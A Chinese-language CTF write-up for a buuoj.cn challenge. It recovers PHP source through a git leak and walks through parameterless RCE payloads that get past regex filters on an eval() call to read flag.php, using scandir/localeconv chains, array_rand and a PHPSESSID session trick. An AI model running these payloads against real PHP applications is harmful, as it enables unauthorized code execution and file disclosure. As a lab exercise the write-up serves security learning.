平台:buuoj.cn
打开靶机
查看源码、http头没发现后用扫描器扫一下
有git泄露,用githack把源码下下来
查看index.php源码如下
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析一下
包含flag.php,get传参exp,第一个preg_match限制了一些伪协议禁止读取文件
接着是正则,(?R)引用当前表达式,(?R)?代表可以有引用,也可以没有,引用则变成[a-z,_]+\([a-z,_]+\((?R)?\)\)
的形式,可以一直迭代下去。这样可以匹配一些诸如print(echo(1))括号和字符组成的字符集
第二个preg_match正则掉了一些字眼,一些函数不可使用
考点是无参数RCE
解题之前先了解几个函数
localeconv():函数返回一包含本地数字及货币格式信息的数组。
scandir():列出指定路径中的文件和目录
current():返回数组中的当前单元, 默认取第一个值。
pos():current() 的别名。
next():把指向当前元素的指针移动到下一个元素的位置,并返回当前元素的值
array_reverse():返回单元顺序相反的数组
highlight_file — 语法高亮一个文件
我们知道index.php包含了一个flag.php,可以构造exp探测其存在:
?exp=print_r(scandir(current(localeconv())));
或者
?exp=print_r(scandir(pos(localeconv())));
所以我们的目标就变成了读取倒数第二个文件也就是flag.php。
这时可以利用array_reverse()先把数组的顺序颠倒,这时候index.php就变成了第一个元素,在用next()把指针移到index.php的下一个元素,也就是flag.php,这样,就达成了我们的目的
用highlight_file 输出
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))))
传入得到flag
在王叹之师傅wp里发现另外两个解法
1.用array_flip()以及array_rand()将flag.php从数组中随机出来
array_flip — 交换数组中的键和值
从数组中随机取出一个或多个单元
传个三四次即可读出flag.php
2.session利用
启用PHPSESSID
session_id :获取/设置当前会话 ID
session_start :启动新会话或者重用现有会话
构造
?exp=readfile(session_id(session_start()));
并手动把cookie设成flag.php
成功得到flag